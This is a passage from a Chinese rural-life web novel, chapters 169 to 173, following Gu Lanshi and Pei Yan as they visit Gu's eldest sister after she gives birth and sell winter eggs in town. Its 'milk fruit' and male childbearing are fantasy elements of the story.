刚吃完饭,碗筷还没撂下呢,就听见外头狗叫。 自从下雪,他俩就没开过篱笆门,家里什么都有,根本不用出去,裴厌往外走,狗已经跑到篱笆门那边了,冲着外头叫。 在听到竹哥儿的声音后,大黑几个安分下来。 裴厌答应一声,快步上前打开门,门外竹哥儿和苗秋莲都裹得厚实,两手插在圆筒暖手套子里。 “岳母。”裴厌连忙让他俩进门,见灰仔往门外窜,他打个呼哨,制止了狗往外跑,外边天寒地冻的,大菜地就足够它们几个撒欢,出去做什么。 顾兰时正洗碗,听见他娘的声音,人还站在灶台前,声音就亮了起来:“娘,你俩吃了没?” “吃了吃了,这不是吃过饭,闲着没事,过来转转,顺便,跟你说一声,你大姐生了。”苗秋莲边说边走进灶房。 “大姐生了?”顾兰时一下子转头看她。 苗秋莲喜得什么似的,说:“是个大胖小子,前几天下大雪的时候生的,那会儿路不好走,天又冷,你大姐夫向来心细,你大姐当时有些不好,他不肯离了你大姐,一直伺候着,就没来报喜,今天早上才过来道了一声,改天我得去看看。” “那我也去。”顾兰时把洗好的碗放在灶台上,琢磨了一下说:“我记得之前算的日子比这早。” “可不是,迟了好些天。”苗秋莲说道。 裴厌在门口见他们三个站着说话,提了板凳进来让竹哥儿和岳母坐下。 “把炭盆端进屋里。”顾兰时对他说道。 “好。”裴厌答应着,去柴房抱了柴火和木炭。 这时节,外头到底不如屋里暖和,泥炉也在东屋放着,炉膛里有火,裴厌顺势取了一根点燃炭盆。 他估摸着等下顾兰时几个进来,应该要上炕,坐在地下太冷了,于是他伸手摸了摸炕面,见没有之前热乎,就到外面添柴闷柴。 顾兰时拾掇完灶房,苗秋莲和竹哥儿跟着他进屋,拿出果脯蜜饯放在炕桌上,添茶倒水,坐在热乎乎的炕上说笑聊天。 没一会儿裴厌也进来了,因都是自家人,竹哥儿年纪又小,犯不着避嫌,他坐在炕沿,陪着说几句话。 苗秋莲记挂着他俩做生意的事,也操心大雪天怎么把鸡蛋送去,问了几句,一听近来不用往镇上跑,她点着头说:“虽少挣了钱,但待在家里安心,又暖和,别看没融雪,雪地里跑车,遇到下坡那车轱辘也打滑呢。” 顾兰时还惦记着大姐姐,问道:“娘,你刚说我大姐不好,是怎么回事?” 苗秋莲放下茶碗,叹口气说:“嗐,生孩子,都是一只脚踏进鬼门关的事,哪有那么轻易的,听你大姐夫说,当时出血多,连忙请了郎中去,还好,不是太危急,伤不到性命,不过后边也要调养调养。” “这天寒地冻的,出门不容易,原本我是不同你说的,等孩子百天再让你过去,又一想,你大姐这回遭了罪,娘家再没几个人去看望看望,恐怕心里落下委屈,你大哥二哥那边我都说了,让一起去呢。” 原是这样,听完后顾兰时松了口气,说道:“娘,那你打算哪天去?” 苗秋莲开口道:“你大姐夫上午来的,偏巧霜儿病了,早上没出屋子,狗儿请了草药郎中来,诊了脉,说是受了风,给开了两副药,这不听你大姐夫说已经不要紧了,就没顾上跟他去,看看明儿什么天,要像今天这样,不刮风,那就明儿去。” “行。”顾兰时点头,又问:“那霜儿的病不要紧?” 竹哥儿说道:“该是不要紧的,我送饭进去,小嫂子还能坐起来,说话也不虚,只是咳嗽多,脸烫发热,出门时她喝了药睡下了。” “那就好。”顾兰时点点头,又对他娘说:“娘,我这儿鸡蛋攒了些,等下你回去拿几个,给霜儿补补身子。” “哎哎好。”苗秋莲笑着一迭声答应。 和村里人一样,她养的母鸡没有给烧炕弄热屋子,天一冷,母鸡就不下蛋了,手里只有之前攒下的那些,这一个寒月里,也卖得吃得差不多了。 要说杀鸡给补补吧,只是受了风寒,宰一只鸡有些舍不得,一听顾兰时要给鸡蛋,她哪有不愿的。 其实今天过来除了说大女儿的事,心里也存了要几个鸡蛋回去的想法,就是不大好意思当着裴厌面儿直说,想着临走时再讲。 自己亲娘,顾兰时其实从苗秋莲神色中看出来了,几个鸡蛋而已,顺嘴就给了台阶。 * 第二天上午,太阳从云层中偶尔露出来,不怎么温暖,但光线强多了,不像前几天那样灰暗。 顾兰时早早就把要带的竹筐备好了,正是装鸡蛋的小竹筐,最下面放了两层竹片格子,一共二十四枚鸡蛋, 他给第二层上面铺了些稻草,又带了点红枣毛栗子核桃等一些山货,还有晒的菌子干,想必周家会杀鸡给大姐姐吃,炖鸡的时候放些菌子也香呢。 嘱咐裴厌晌午自己做饭,他背起竹筐出门,有牲禽要喂,得留个人在家看顾。 一路踏着积雪进村,顾兰时脚步轻,刚推开半掩的门,差点和出来的竹哥儿撞个满怀,两人都急急刹住。 竹哥儿笑道:“兰时哥哥,我刚还想你是不是快来了,娘都收拾好了,二哥在套牛车。” “大哥没来?”顾兰时问道。 竹哥儿把院门打开,又把门槛取下,说:“还没来,估计等会儿就来了,他不去,大嫂去,爹今天也要去看大姐姐,狗儿哥照顾小嫂子,大哥要带两个孩子,二嫂也不去,小锁儿太小了,她也带了孩子过来,晌午有她在,大哥、狗儿哥、小嫂子还有顾安他们都有饭吃。” 顾兰时点点头,牛车再大,也坐不下所有人,去几个就行了。四个侄儿有三个都会跑了,又是猫嫌狗憎的年纪,去那边是看望大姐姐的,带着孩子确实不方便。 “小嬷!” 顾衡玩得太开心,尖叫一声跑过来,跟个小肉球一样撞进顾兰时怀里。 顾兰时后退两步稳住,随后顾安和顾满都围了过来,一个两个嘴里都喊着小嬷,吵吵闹闹的。 苗秋莲着急去看女儿,收拾好后没有多耽误,叮嘱花惜霜两句后,和顾铁山拖家带口就出了门。 路上雪挺厚,顾兰河牵着牛绳,老牛不紧不慢往前走,一路都稳稳当当的,叫人坐在车上很放心。 到周家以后,顾兰玉原本在炕上歇着,一听到院子里熟悉的声音,立马睁开了眼。 因周家村和唐家村离得近,是相邻的村子,苗秋莲让二儿子先牵牛车往唐家村去,把顾兰秀也拉来了。 一家子热热闹闹进门,又是鸡又是鸭,带了好些给顾兰玉补身子用的东西。 第170章 顾兰玉很高兴,原本血色不太好的脸一下子有了点颜色,精神头也好了,娘家人还没进屋子,她就有点着急了。 “哎呦!”苗秋莲一掀门帘子,见她挣扎着想下炕,连忙扑过去阻止,和后脚进来的顾兰时将人扶上炕捂进被子里。 后面竹哥儿抱着馨儿和顾兰秀张春花进来,屋里一下子变得拥挤热闹。 周书宏三妹妹周小茗提了新沏的茶进门,给众人都倒上了热茶,周老娘端了好几碟干果点心,殷勤招呼众人。 见苗秋莲几个都围着儿媳妇,她不好说打搅,人家娘家来人了,好歹让说说亲近话,于是她又出去招呼顾铁山和顾兰生,嘱咐周小茗在屋里添茶倒水。 “哇——” 炕里睡着的大胖小子被说话声吵醒,扯着嗓子哭,声音嘹亮。 顾铁山还有顾兰河在堂屋跟周家人说话,暂时没进去,听见这动静,两人都乐了,好小子,一听身体就好。 顾兰玉靠着另一床被子坐在炕头,抱起儿子拍着哄,一边还笑着和他们说话:“昨天书宏回来,说霜儿病了,今日好些没?” 苗秋莲坐在炕边,伸长脖子去看她怀里的外孙,见脸蛋子胖嘟嘟,稀罕的不行,闻言笑道:“昨天吃了两顿药,今儿早上强多了,不发热了,只是咳嗽,到底年轻,底子好。” 她这个姿势久了不舒服,于是坐回去,又说:“人常言病来如山倒病去如抽丝,冬天又没几个活,叫她多修养修养,人家家里疼得跟眼珠子似的,总不能到了咱家受委屈。” “可不是。”顾兰玉应道。 苗秋莲见外孙哭个不停,说:“许是饿了?” 说完,她看向女儿,问道:“身上怎么样了?可有奶水?” 顾兰玉笑着说:“刚喂过乳果睡下,就是惊醒了,哄哄就好。” 她拍着儿子又道:“好多了,昨天饭量也好,吃得多了,人也不昏沉,有了精神。” “奶水这两天下来了,只是还在吃药,先没给娃儿喂奶,书宏他堂嫂恰好上个月生了,奶水很足,这几天有时她过来喂,有时是吃乳果。” 看女儿脸色还是有点差,苗秋莲不免有些心疼,说:“娘给你带了两只老母鸡,还有一只鸭子,回头让你婆母炖了,天天吃着,还有红枣儿,给你蒸着吃。” “兰哥儿、秀儿还有春花月姐儿都给你带了鸡蛋,够你吃一阵子的,山货菌子也带了些,炖鸡的时候给你放些,多吃点儿。” 她转头又对顾兰秀说:“秀儿,不是带了红糖,给你大姐冲一碗,让喝些暖暖身子。” “好嘞。”顾兰秀起身要去冲糖水,被周小茗抢着去干,怎么好叫客人动手呢。 端着糖水碗进来,周小茗见顾兰玉抱孩子正哄,笑道:“嫂子,我放炕沿。” “好。”顾兰玉又对她说:“乳果没了,洗两个切了,倒进碗里,放屋里备着。” 周小茗又麻利去干。 苗秋莲这才问道:“这大雪天,进山了?” 顾兰玉换了个姿势抱孩子,说:“没,这雪下的,哪里能进去,半个月前,他说趁着天好,摘一筐回来,万一奶水不足孩子没吃的,能先对付,不想真用上了。” 一听姑爷是有远见的,苗秋莲放了心。 顾兰玉上一胎奶水好,把馨儿吃得又白又漂亮,谁也没想到这回不好,好在有这些准备,不至于大人小孩都受罪。 她俩口中所说的乳果,只有山谷里有,还得是一处溪水清清的俊秀之地才能长出来。 和妇人不同,夫郎生了孩子以后没有奶水,要是没有乳娘,只能去山里摘乳果将孩子喂养长大。 乳果只有十岁小孩拳头那么大,白色圆球的模样,每个乳果上都有一个凸起,类似母乳头那样,用针扎开后,孩子能从凸起处嘬出果乳。 即便冬天最冷的时候,乳果外面是一层厚厚的果肉,最里头的白色汁水始终都是温的,除非坏掉,一般来说不会被冻成冰碴子。 摘下来的乳果只要没沾水没碰坏,能放三个月以上,不怕搁坏了。 有的妇人奶水少,家里也会给孩子去摘乳果,这果子和人乳几乎没什么差别,照样能喂得孩子白白胖胖平安长大。 如今天冷,怕伤孩子肚子,切开果子后把汁水倒出来,盛在碗里,屋里有泥炉,孩子要是饿了,热一热就能吃。 而剩下的果肉也能煮出白色的汁水,大人小孩都能喝。 周老娘在外面说了一阵子话,又怕冷落屋里的亲家母,听她俩在说乳果的事,开口道:“亲家母,这几天乳果吃的,有不少果肉,我这就去切了煮,大伙儿趁热喝一碗,既暖和不说,还滋补呢。” “不用不用。”苗秋莲推辞道。 周老娘却不依,这回顾兰玉为给他们家生大胖孙子,遭了不少罪呢,娘家人来了她是一点都不敢怠慢。 乳果只有家里有婴孩的人才能去摘,平常可没人敢去动手,乡下人都觉得这东西好,果肉也不能随便糟蹋。 周老娘去煮果肉了,苗秋莲见拦不住,没有再说什么,果肉煮出来的水没啥味道,就跟喝水一样,不过大冬天来一碗,确实比喝茶水更暖和。 拍着拍着,孩子睡着了,顾兰玉把儿子放回炕上盖好被子。 苗秋莲压低了声音,省得再把外孙吵醒,说:“你爹和二哥在外面。” 顾兰玉笑着开口:“娘,不用这么,他平时觉好着呢,雷打都不醒,只是你们进门时刚睡下,没睡沉才醒的,正好,趁他睡了,让我爹和二哥进来瞅瞅。” “好好。”苗秋莲答应着,不用她出去,顾兰时很有眼色,知道小外甥刚睡着,他没有出声,只朝他爹用眼神示意。 顾铁山和顾兰河明白他的意思,都起身过来,特地来看女儿妹妹,自然要进去见一见。 周小茗和周老娘在灶房,屋里只有他们自己人,没什么可避嫌的,顾铁山见女儿脸色明显差,坐在炕边问了几句,末了才看一眼外孙,小兔崽子倒是胖乎。 顾兰河同样说了几句闲话,他两个汉子不好在屋里多待,没一会儿又出去了。 外头周老爹、周书宏还有周书宏四弟忙着给他俩添炭盆倒茶水,炭盆里的火烧得旺旺的。 周家人太实在,怕他俩冷,柴火不小心架得太多,火苗“腾”一下窜得老高,人想伸手烤烤火都不敢坐得离炭盆太近,不然准会燎着眉毛头发。 顾兰河被逗笑,被他爹看一眼后没有笑出声,抿着嘴巴憋住了。 顾兰玉很高兴,都不觉得疲惫了,一坐靠坐在炕头和弟弟妹妹说话。 苗秋莲许久没见外孙女,抱着馨儿给砸核桃吃。 周老娘没多久给端来了果肉汤,人人都有,她忙着这些,又喊上女儿去灶房,要早早把晌午饭备好,不至于到跟前了才手忙脚乱,不但她丢人,客人还得饿肚子等。 到晌午时,苗秋莲几个陪着在屋里吃饭,自从孩子出生,顾兰玉还是头一次胃口这么好,比昨天多吃了半碗饭。 等娘家人走了之后,她虽有点疲惫,但心里很高兴,夜里都睡得好了。 * 穷人的冬天难熬,常常能看见冻得手脚皲裂的,都盼着太阳出来,白天晒一晒,不至于如此煎熬。 就这么盼啊盼,总算等来了明日高悬。 晌午,融化的雪水顺着屋檐流下来,滴答滴答不停响,几乎串成了雨幕,人出门时还得快走两步,以避开更多的水滴。 还未到凛冬时,那时候更冷,就算有太阳,雪也不好消。 大地变得泥泞,残雪染上污泥,到处都是湿漉漉的。 就算在院里走一趟,鞋底全是沉重的烂泥,屋檐下窗台上总要放几根树枝,进屋前得刮一刮,才不会把屋里踩得脏兮兮。 西屋。 顾兰时端着食盆进来后,脚往后一勾,直接关上房门,这是怕母鸡跑出去,外头雪化了,虽有太阳,还是很冷,院里又都是湿泥,没必要白天放母鸡在院里溜达。 他给木槽里倒了食,母鸡跑得很快,纷纷围过来。 裴厌正在铲沙子上的鸡粪,说道:“改天该把沙子换一遍。” “行,到时候先把鸡关进笼子,放在炕上,省得绊脚。”顾兰时倒转木盆,一手拍了拍盆底,见干净了,又拎着木盆出去。 每天都是先喂里面的鸡,外头篱笆圈里还有不少鸡鸭呢。 裴厌拾掇干净西屋,关好门就去灶房提猪食桶,后院猪和毛驴也在等着吃。 除了夜里有足够时间行房事以外,白天的日子没多大变化。 一直到路面稍干,鸡蛋也攒下不少,总算能去镇上卖猪卖鸡蛋了。 第171章 车轱辘在泥地上碾出道道痕迹,裴厌牵着驴车出门。 太阳这几天都很好,地面比之前好点,不少地方已经算硬实了,挑着路走就不会踩一鞋底烂泥,遇上避不开的烂路段,就只能这么走过去,而毛驴骡子走在泥泞处比人更稳当。 板车上放了三个竹筐,一大两小,大的装了七十六枚鸡蛋,小的一筐装了四十八枚鸡蛋,另一个小筐则装了三十枚咸鸭蛋。 这三筐蛋不沉,裴厌见去林子那边泥泞较多,就没有让毛驴跑,继续牵着驴子往前走。 已经煮熟的咸鸭蛋还好,鸡蛋不一样,去镇上这一路都要谨慎些,尤其碰到泥路时。 已经是半早上,太阳明晃晃挂在天上,他牵着毛驴不紧不慢赶路,只是去镇上卖蛋,用不着赶早集,等上了官道后驴车跑起来,也不会像一大清早那么冻。 他独自出门离开,身后篱笆门半掩,连狗都没有出来相送,正围着洗麻袋的顾兰时嘤嘤叫。 顾兰时坐在板凳上,面前的石板是裴厌早上给搬过来的,他从木盆里捞出泡了半个时辰的三条脏麻袋,放在石板上,伸手从脚旁的竹篮里抓一把野澡珠放在麻袋上,用木棒捶打起来。 麻袋是从狗窝里取出来的,睡了一个月,已经脏了,塞在里面的稻草掏出来,正在太阳底下晒。 野澡珠被捣碎,又给撩些水,很快就出了白沫子,因麻袋脏,白沫子很快变灰浊。 捶捣的动静咚咚咚响,三只狗没有靠近他,只在周围转悠呜咽,没多久就各自找了地方趴下晒太阳,脑袋搁在两只前爪上看向这边,灰灰眉头像是皱在一起,很担心它的麻袋窝。 脏麻袋洗了两遍,顾兰时才罢手,拧了拧水,直接展开放在柴堆上。 尽管用的温水,风一吹手上水迹变得冰凉凉,他赶紧擦干,见两只小狗还盯着麻袋看,忍不住笑了下,冬天洗什么都干的慢,麻袋还得几天晒呢。 地上晒着的稻草被狗睡了一个多月,回头晒干了,直接当柴火烧,家里稻草挺多,塞几个麻袋不成问题。 他走进柴房,打开一个旧木箱盖子,从里头拿出三条带补丁的麻袋,这是上回洗的,都是给狗用的。 出来后往麦秸堆那边走,原本趴在地上的灰灰一下子起来,一边闻他手里的麻袋一边跟着他走。 麦秸堆前,顾兰时把塞满麦秸的一条麻袋往地上一扔,灰灰一只爪子站在上面,低头不断嗅闻。 等顾兰时装完第二条麻袋,转眼一看,它已经趴上去了,尾巴在身后轻轻晃两下,显然很满意。 装好三条麻袋后,他轻踢一脚灰灰,示意它起来,自己把三条麻袋垒在一起,抱着往外面走。 路过大黑和灰仔时,两只都爬起来,跟在他后面。 把麻袋放进狗窝,由它们去闻去躺,顾兰时拍拍衣裳,又回到院子干别的。 堂屋屋檐下放了一块石头,石头中间凹陷,是裴厌从山里背回来的。 他从堂屋里拎出一个口袋,里头是一条条晒干的地龙,他抓出来一把丢进石头凹陷当中。 四下看看,没看到石头锤,于是找了找,在柴堆另一侧找见了。 石头锤是用一块圆石头和结实的木棍绑起来的,石头不大,木棍也短,棍上缠了两层布。 他走到屋檐下又坐好,右手竖直握着木棍,像用杵捣石臼里的东西一样,用石头锤捣磨放在凹陷里的地龙干。 灶房里的石臼常常用来捣蒜磨辣子面花椒面,都是味道重的东西,地龙干捣磨成粉,是用来喂鸡的。 这是从别人那里听来的法子,要想冬天让母鸡下蛋,只有草和谷糠麦麸是不成的,把地龙干泥鳅干都弄成粉,喂鸡的时候抓两把,母鸡见了“荤”,自然就容易下蛋了。 夏天的时候,他俩挖了不少地龙,还在河泥里捉泥鳅,连同渔网里捞上来的大鱼小鱼,没吃完都晒干了存起来,冬天正好磨一磨喂鸡鸭。 因这些东西有限,得先紧着下蛋的十五只母鸡吃。 这是件费力气又费工夫的事,也不一定就要捣磨成粉状,只要碾得碎碎的,和别的鸡食一起搅拌,方便母鸡吃就好。 圆石头自身有分量,就和石杵差不多,地龙干泥鳅干小鱼干都能捣烂,就是要费些力气,像较大的鱼干,更要在这里坐许久。 顾兰时磨着磨着,觉得手腕酸,就换了一只手,之前多是裴厌干这活,偶尔忙不开他才上手。 裴厌力气大手劲大,干起来总一副轻松的模样,耐心也足,花费一阵子工夫,就能把这些都磨成粉。 想到好几天没给母鸡吃鱼干了,他放下石头锤,去杂屋拎出另一个小口袋,比起地龙和泥鳅,鱼干相对来说比较少。 大鱼干他试了试,晒得干,肉又厚,费了力气才掰成几块。石头的凹陷处没有那么大,一整个放上去不好捣磨,只能这样。 忽然,顾兰时拿起石头锤的手一顿,他俩前几天也吃了一次鱼干,泡发后上锅蒸熟就能吃。 鱼干泡发后也就软了,用刀连鱼骨一起剁碎,可比这样下力气捣磨更方便,只是鱼刺好像麻烦点,就算鱼刺也被剁短了,万一较硬,卡在鸡脖子里。 平时他都不太留心这些,今年头一回在屋里养鸡,不得不多想想。 要么,就上锅蒸熟了,再剁碎捣成泥,即便鱼骨和鱼刺硬点,也比这样干着捣磨要容易,鱼肉烂就烂了,反正是给鸡吃。 家里柴火足够,他这样一想,干脆,把鱼干和地龙干蚯蚓干一起,泡在旧木盆里。 泡发得一两个时辰,吃完晌午饭再蒸不迟,他把口袋扎好放回杂屋,拿了鞋底出来,坐在太阳底下一边纳一边等裴厌,心思转到蛋价上,不知道最近如何了。 * “鸡蛋——” 裴厌拉长了声音吆喝。 为了稳当些,今天驴车赶得慢,比平时多花了两刻钟才到镇上。 天气好,街上小摊大多都在,沿街叫卖的人也有,不过比起春秋时候的菜蔬瓜果,要少了很多。 这会子卖的,全是些干货,干菜干果都有,也有卖鲜果的,并不多,一个汉子挑了两筐梨,甚至还有卖橘子的,绿的黄的都有,那颜色很鲜亮,分外惹人注意,不过一问价钱,家境一般的人就歇了心思。 他们这里靠北,橘子是用船从南边运来的,价钱比梨高多了。 “鸡蛋咸鸭蛋——” 裴厌牵着毛驴慢慢往前走,见街边挎着篮子的妇人有看向他的,脚步就慢下来,不过对方并没有出声,眼睛瞅着板车上的蛋筐,从旁边走过,连价钱都没问。 于是他又往前走,吆喝了两声,径直朝同春酒馆走。 快到街角时,一个老太太喊住了他,问鸡蛋多少钱。 “七文一枚。”裴厌说道。 老太太咂咂舌,直叹这价钱太高,直接摆摆手,转身进了院门。 裴厌料到她应该不会买,这时节蛋价就这样,愿意买的人不多,除非大户富贵人家。 而宁水镇大户多聚集在青鱼巷附近,那边有好几条巷子和大街,其中院落有大有小,即便小院落,住的也是小富之家,想把鸡蛋鸭蛋卖出去,还得去那边转转。 他心里这么盘算,但还是先往酒馆去。 到了之后,馆子里有客人吃酒吃饭,蒋厨子在灶上忙,腾不开身,还是酒馆老板和他夫郎到后门这边来看鸡蛋。 裴厌认得这个年轻夫郎,头一回卖鸡蛋给酒馆,就是吴文君给结的账。至于老板张福,常常往镇上来,也是认识的。 张福之前听厨子提过一句,说冬天好像也能送几个鸡蛋来,他那时没放在心上,不想这大冬天的,还真有鸡蛋,不由拿起一枚在手里看,问道:“裴家兄弟,你这鸡是怎么养的?这会子还下蛋。” 裴厌笑着说:“弄了个屋子,夜里烧烧炕,屋里暖和起来就行。” “嗯。”张福把鸡蛋放下,跟他所想一样,于是又问了价钱。 大冬天弄些鸡蛋,还要运到镇上,确实不容易,裴厌照着市价,手指捏在一起比了个“七”。 不是他不愿意让价,这时候卖的就是这价钱,见张福犹豫,他开口道:“我知道价钱高,也没办法,为下这几个蛋,我夫郎日夜都操心操劳,时节不对,再精心伺候,母鸡也不是天天都下蛋,忙了一个多月,才攒下这点,这样,三十个送两个,张兄看如何?” 酒馆最近生意不错,鸡蛋在冬天是个短缺稀罕的东西,要是没靠谱的交情,吃光了再想买可不容易。 眼见有卖鸡蛋的,不买一些续上,确实有点说不过去。 张福问道:“鸡蛋还剩多少?” 吴文君想一下,说:“满打满算,也就二三十。” 张福每天在前面算账招呼客人,客人点菜的时候虽然有伙计,但他也能听到,最近点肉点鸡蛋的人挺多。 能来馆子里吃饭的人,手里多少有几个子儿,炒鸡蛋、鸡蛋面一类的东西都吃得起。 他俩说完,对视一眼,吴文君看向裴厌,说:“三十个送三个,相当十个送一个。” 既是老主顾,一直都和人家做生意,不让点利也不像样,裴厌没有多犹豫,点头道:“行,三个就三个,要多少?” 来福酒楼那边之前是一百个鸡蛋多送十个,也就是十个多送一个,酒馆每回要的少,因此让利就没有酒楼那边多。 一枚鸡蛋七文钱,两人商量了一下,张福说:“先来五十个。” “行,那就数五十五枚鸡蛋。”裴厌说着,把大蛋筐盖子打开:“张兄可以自行挑拣,要是有坏的烂的不愿要的,只管放在一旁。” 吴文君把竹篮放在板车上,闻言应一声,就挑起鸡蛋。 除了鸡粪沾到太多的,别的鸡蛋其实用不着挑拣,有缠着稻草的竹片格子隔开,鸡蛋一路运来,没几个撞坏的。 鸡蛋数好以后,裴厌开口道:“还有咸鸭蛋,已经煮熟了,张兄可要看看?” 张福说道:“鸭蛋店里还有,暂且不用。” “行。”裴厌点点头,没有多说什么。 五十个鸡蛋很好算,一共三百五十文,张福给了三钱碎银,另外再数了五十个铜板。 结清以后,知道酒馆里忙,裴厌没有再跟人客套,一拱手同张福道声别,就拉着毛驴往巷子外走。 五十个鸡蛋夏秋那会儿才能卖一百五十文,今天多卖了二钱,足够让人高兴。 出门时装了一百二十四个鸡蛋,现在还剩六十九个,他眼里带着一点笑意,又往来福酒楼方向去。 第172章 来福酒楼后厨。 灶底火光跃动,吴升文颠大勺炒菜,灶房里切菜洗碗的两个杂役也忙个不停,今儿楼里生意很好,酒和菜都上个不停。 总算把最后一道菜炒好,朝外头喊一声,一个伙计飞快进来端走,吴升文这才擦擦汗。 屁股刚挨到板凳上,还没歇呢,撤了空盘的伙计进来,说:“老吴,送鸡蛋的来了,刚才在门口,掌柜的恰好瞧见,就让他来后门这边问你。” “行,知道了。”吴升文起身往外走,开了后门探头一看,果然,裴厌牵着驴车进巷子了。 见着裴厌,他朗声笑了两下,老二成了亲后,再没人嘲笑他儿子打光棍,心里那叫一个高兴。 而且苗树儿别看年纪大了点,话少一点,可干活很勤快,洗衣做饭样样行,老实本分,从来不惹是生非嚼舌头,家里都无比满意。 再加上最近楼里生意好,每月工钱不愁,掌柜的有时一高兴,菜肉之类的东西还叫他拿一些,家里也不愁吃的,日子顺顺当当,因此见人就有三分笑。 当初要不是遇到苗成才和裴厌,也不会这么顺心。 吴升文不止一次想过这件事,深觉得这两人是他们家贵人。 一听鸡蛋七文,吴升文没有还价,市价如此,甚至还有卖更贵的,就算掌柜的查账,也挑不出刺儿。 而咸鸭蛋,见只有三十个,他也全包了,一枚按八文钱的市价,这东西在酒楼不是什么硬菜,有时候客人点的菜多,掌柜的会让送两枚,添作一口下酒小菜,缺了是不行的。 六十九个鸡蛋,裴厌让了一点利,算作六十五个,即使有两个不小心碰出了裂缝,吴升文看一眼没有在意,今天客人就算不点鸡蛋,掌柜的饭是另外做,给打成荷包蛋谁也看不出来。 至于咸鸭蛋,吴升文大手一挥,没有跟他讨饶头,就按三十个算,大冬天送蛋过来也不容易。 原本裴厌还想去青鱼巷那边转转,这下不用了。 六十五个鸡蛋是四百五十五文钱,三十个咸鸭蛋二百四十文,拢共是六百九十五文。 裴厌让吴升文给了七钱碎银,找回去五文钱,如此,就结清了。 七钱加上刚才得三钱五十文,不算五十文的零头,到手整整一两碎银子。 赶车回去的路上,这下毛驴跑得快,裴厌裹得严实,只剩一双眼睛在外面,眼里全是藏不住的笑意。 * 院子里,狗守着食盆不断嗷呜叫。 平时顾兰时和裴厌吃完饭后,剩下的汤汤水水总会给它们泡糙馒头吃,今日却不见动静,碗筷残羹还放在桌上没收拾,三只都眼巴巴等着,不断望向东屋窗子。 房间里,顾兰时和裴厌面对面坐在炕沿,荷包里的碎银子和铜板已经倒了出来。 一钱一钱的碎银子正好有十块,顾兰时全都捡到手心里,嘴里低声数着一二三四五六,一边露出傻笑。 裴厌在数铜板,其实根本不用数,除去他早上带的二十文,还有四十五个。 果然,数完后一共是六十五文,他把这些直接抓进荷包,说:“留在外头,回头攒够一百文再收。” “嗯。”顾兰时敷衍答应了一声,都没抬头看,视线依旧落在碎银子上,傻笑着说:“又是一两,鸡蛋鸭蛋加一块儿不到两百枚,就卖了这么多钱。” 裴厌也高兴,开口道:“今年蛋价还算平稳,没到十文。” “年节前呢?应该会高一点吧。”顾兰时笑着抬头看他。 “说不定有戏。”裴厌把荷包口勒紧,抬胳膊往后摸索,直接塞进炕头的褥子底下,又说:“到不了十文,起码也在八文。” 顾兰时手里攥着碎银子没有放下,想了一下说:“照母鸡这样下蛋的趋势,一个月三十天,差不多有一百五十枚到一百八十枚,超不过这个数去,又要让点利,就按一百五十枚鸡蛋算,七文钱的话,就是一千文。” “一个月卖鸡蛋能挣一两。”算到这里,他眼睛亮了。 裴厌笑着开口:“过几天假地面再硬点,拉头猪去镇上卖,家里还剩下五头,这就是十两了。” “年节时要各种花钱,平时吃喝买肉也要钱,卖鸡蛋这几两银子就能抵过,还能富余一点,猪钱却能全部攒下,一个冬天下来,稳打稳扎,到手就是十两。” 顾兰时长长叹一口气,眼里有着笑意,说:“去年冬时虽卖蛇赚了一笔,到底是毒蛇,太操心了,卖鸡蛋卖猪发不了大财,却安稳。” “汪——” “呜——” 狗饿了,三只都跑到房门口看他俩,大黑还好,没有乱叫,灰灰和灰仔见他俩看过来后,汪汪汪就是一通倾诉,也不知道是骂人还是在催促。 顾兰时想起还没喂它们,喜滋滋把一两碎银子收起来,这才出去干活。 * 给母鸡蒸的鱼干地龙干好了,两人坐在石头凹槽前捣磨。 地龙干泥鳅干还好,捶捣两下就软烂了,比磨成粉省力气。 鱼干有鱼骨和鱼刺,顾兰时直接上手,一边用筷子刮下鱼肉,一边用手把鱼骨和大的鱼刺摘出来,既然母鸡有卡到刺的可能,干脆丢掉。 至于一些不好挑的小刺,鸡平时还吃小石子呢,裴厌用石锤把鱼肉捣了又捣,直至手摸上去没有鱼刺扎手,就放心和麸子碎菜叶搅拌在一起,进屋倒给鸡去吃。 见母鸡吃得欢,没有任何不适,两人放了心,又给换了干净的水,才关好屋门不再管。 * 傍晚,刚吃完饭,今天吃得早,离天黑还有一阵子,顾兰时在洗碗,裴厌得了空闲,坐在柴堆前拧蒲草条子,拧好直接用木柴压住。 布鞋还好,一入春,就要穿着草鞋进水田,泡过水很容易烂,早早给明年备两双草鞋,到跟前就不急了。 狗吃饱喝足,闲的没事在一起打架玩,多半是灰灰和灰仔。 打着打着不知怎么就急眼了,一个把一个咬的嗷嗷叫,裴厌抬头,懒得过去揍它俩,随手抽了一根柴火丢过去。 木柴打中咬着灰灰的灰仔脑袋,紧接着哐当一声掉在地上,两只狗一下子分开。 灰灰今天吃了亏,颇有点不服气,龇牙咧嘴想再打一架,被裴厌喝止住,随后两只都各自找了地方趴下,谁也不理谁。 顾兰时早就习惯,听见消停了,连问都没问一声,有时候裴厌不在,灰灰和灰仔打架要是太狠,都是他上去揍几下教训。 “汪汪!” 离院门最近的大黑突然冲着外面叫,裴厌看过去,篱笆门外出现一个身影。 徐启儿没敢直接进门,喊道:“兰时哥哥!” 喊完他才认出院里的是裴厌,又补了一句裴厌哥。 “进来。”裴厌喊了一声,手里的蒲草条子刚拧,不好放开。 大黑不再叫了,灰灰和灰仔警惕了一下,见主人没有异样,又都扭过脑袋生闷气。 顾兰时收拾好碗筷,见徐启儿来了,想起去年的事,对裴厌说:“我记得还有六钱?” “嗯,是六钱,后来他一直没过来要。”裴厌点点头。 徐启儿见灰灰过来闻他,脚下明显一顿,不敢乱走。 “去!”顾兰时撵走狗,笑着对他说:“什么时候回来的?” “下午刚回来。”徐启儿见大狗走了,稍稍放心,接过顾兰时递来的凳子,顺势拘谨地坐下。 这半年都没怎么和顾兰时见面,一上来就要钱,他有点不好意思。 裴厌见他面有犹豫,直言道:“要用钱?” “嗯,想拿一钱,瑞儿两三个月没见油星了,明天想去买一斤肉。”徐启儿老实巴交的,下意识把钱用在哪里也说了出来。 如今他每个月有工钱了,却也不能乱花,家里再没有大人,只能自己给自己打算。 这本就是他的钱,顾兰时没有不给的道理,给钱的时候也叮嘱了两句,让不要乱花,买了肉记得熬点猪油,既解馋还能留着能慢慢吃,又给徐启儿拿了些干菜让带回去。 第173章 揣着一钱碎银,徐启儿手里提着一大捆干菜,用长长的麻线捆了两圈,能拎住就行,不用太结实。 沿着林子里的土路往村里走,太阳落下去了,没几个人出门,附近再没有别的身影。 天上有云,今天太阳不怎么好,还没走出树林,寒风吹起来,他缩了缩露在袖子外的手,脚下加快了步伐。 徐家。 院门开了一条缝,等待的徐瑞儿时不时扒在门缝上往外看一眼。 